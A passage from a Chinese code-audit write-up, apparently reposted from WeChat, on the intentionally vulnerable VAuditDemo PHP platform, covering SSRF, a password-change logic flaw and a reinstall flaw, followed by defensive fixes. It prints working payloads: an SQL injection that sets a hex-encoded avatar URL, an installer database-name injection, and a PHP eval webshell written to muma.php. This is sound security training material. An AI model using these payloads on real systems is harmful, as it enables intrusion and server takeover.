2.8 SSRF漏洞
在上面的任意文件读取漏洞中,由于有file_get_contents()
函数,可能存在SSRF漏洞。
2.8.1 漏洞利用
poc
将https://www.baidu.com
转换为十六进制
',user_avatar = 0x68747470733a2f2f7777772e62616964752e636f6d WHERE user_name = '
test
'#.png
修改前的数据库
修改后
重新登录,用BurpSuite抓包,重放avatar.php文件
利用成功
在chrome浏览器中同样可以看到
avatar.php文件中存在SSRF漏洞
2.9 逻辑漏洞
普通用户密码修改处不需要原密码就可以修改密码
2.9.1 代码审计
后端根据user_id
修改密码,不需要原密码修可以修改,这样可能导致其它用户无意或者故意修改已登录的用户的密码。
2.10 重装漏洞
危险文件在/install/install.php和/sys/config.php中。
漏洞分析:
在/install/install.php中,通过POST传参接收并赋值给$dbname变量
在/sys/config.php中使用直接使用$dbname
在接收参数和使用参数的过程中,没有对参数进行任何的过滤,导致存在注入漏洞。
虽然没有任何检测,但是利用该漏洞的前提是要执行/sys/config.php中的sql语句,所以要能够创建一个数据库,在/install/install.php中有一条创建数据库的sql语句
如果创建不成功就无法执行/sys/config.php中的sql语句,所以构造的payload要符合sql的语法规则。可以利用闭合+注释的思路构造payoad,由于在MySQL中,注释符表示为--(空格)
,所以可以利用这点构造payload
exp
;-- -
";phpinfo();//
插入到/install/install.php中的sql语句中
mysql_query( "
CREATE
DATABASE
exp
;
-- -";phpinfo();//", $con ) or die ( mysql_error() );
在/sys/config.php中
$database=
"exp;-- -"
;phpinfo();
//";
写入exp
安装环境
安装成功!
查看/sys/config.php文件
phpinfo()函数已经被植入文件中,访问该文件
在index页面可以看到phpinfo()函数被执行。
利用这个思路构造一句话木马,下面是构造木马的代码
system
(
'echo ^<?php @eval($_POST[1]); ?^> > muma.php'
);
先在本地测试一下,将木马写到12.php文件中
文件夹内除了12.php没有其它文件
访问该文件
浏览器中没有任何回显,但是在文件夹中多了muma.php文件
打开muma.php
发现一句话木马已经写入
测试成功了,将第一次测试的phpinfo();换成写入木马的代码,同时修改数据库名
exp001;-- -
";system('echo ^<?php @eval($_POST[1]); ?^> > muma.php');//
安装
安装成功
在页面访问木马测试一下
木马可以访问到
用蚁剑连接
连接成功!
0x3 漏洞防御 3.1 SQL注入漏洞
1、过滤敏感字符 2、不适用危险函数,比如mysql_error()函数,该函数会导致报错注入漏洞 3、将配置文件中的一些配置选项关闭,比如display_errors=Off,该配置选项也可能导致报错注入漏洞的产生。 4、前端与后端统一使用UTF-8编码,防止宽字节注入 5、使用参数化查询,将用户传进去的数据仅作为参数而不作为命令使用,解决注入类漏洞的问题。 3.2 文件上传+文件包含漏洞
1、尽可能使用白名单策略检测上传的文件后缀名或者检测包含的文件,防止恶意用户上传一些可执行文件或配置文件。 2、将上传的文件名重写,使用户对文件名不可知,即使上传成功也无法利用 3、处理好文件检测与文件保存之间的关系,防止由于条件竞争导致的文件上传漏洞 3.3 XSS漏洞
1、过滤敏感字符 2、对输入端和输出端做严格的检测 3、使用实体编码 4、设置正确的cookie处理机制,比如设置httponly,让JavaScript脚本无法捕捉到cookie信息 3.4 命令执行漏洞
1、过滤危险命令 2、尽量不使用可执行系统命令的危险函数 3、针对使用ping命令的,可以根据ip的特点使用正则匹配严格过滤输入的参数 3.5 水平越权漏洞
1、严格分配每个用户可执行的权限 2、设置合理的用户数据处理机制 3、根据会话确定用户的身份和权限,不要根据请求的其他特性对用户的权限做出假设。
3.6 失效的会话管理漏洞
正确处理验证码保存机制,设置验证码仅可使用一次,使用之后就将验证码置为空,同时检测用户输入的验证码是否为空。 3.7 任意文件读取漏洞
1、设置白名单策略 2、严格检测用户输入的参数 3.8 SSRF漏洞
1、限制协议 2、限制IP,避免应用被用来获取内网数据,攻击内网 3、限制端口,限制请求的端口为http常用的端口,比如,80、443、8080、8090 4、过滤返回信息,验证远程服务器对请求的响应是比较简单的方法 5、统一错误信息处理,避免用户可以根据错误信息来判断远端服务器端口状态,例如把所有错误信息改成404或者其它信息。 3.9 逻辑漏洞
根据会话确定用户的身份和权限,不要根据请求的其他特性对用户的权限做出假设。 3.10 重装漏洞
对用户输入的数据进行严格的过滤,可使用白名单策略或黑名单策略。 0x4 补充 在web1.0时代只有管理员才能将数据传到服务器,普通用户只有读的权限,这时的漏洞还不是很多。到了web2.0时代,能与服务器进行交互的不仅仅是管理员,互联网用户也可以和服务器进行交互,在这个时期就出现了很多漏洞。 总结:漏洞问题大多是授信问题,如果我们对用户输入的任何数据都是零授信,就可以杜绝绝大多数漏洞。
原文始发于微信公众号(白帽子):原创 | 记一次对VAuditDemo平台的代码审计(下)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论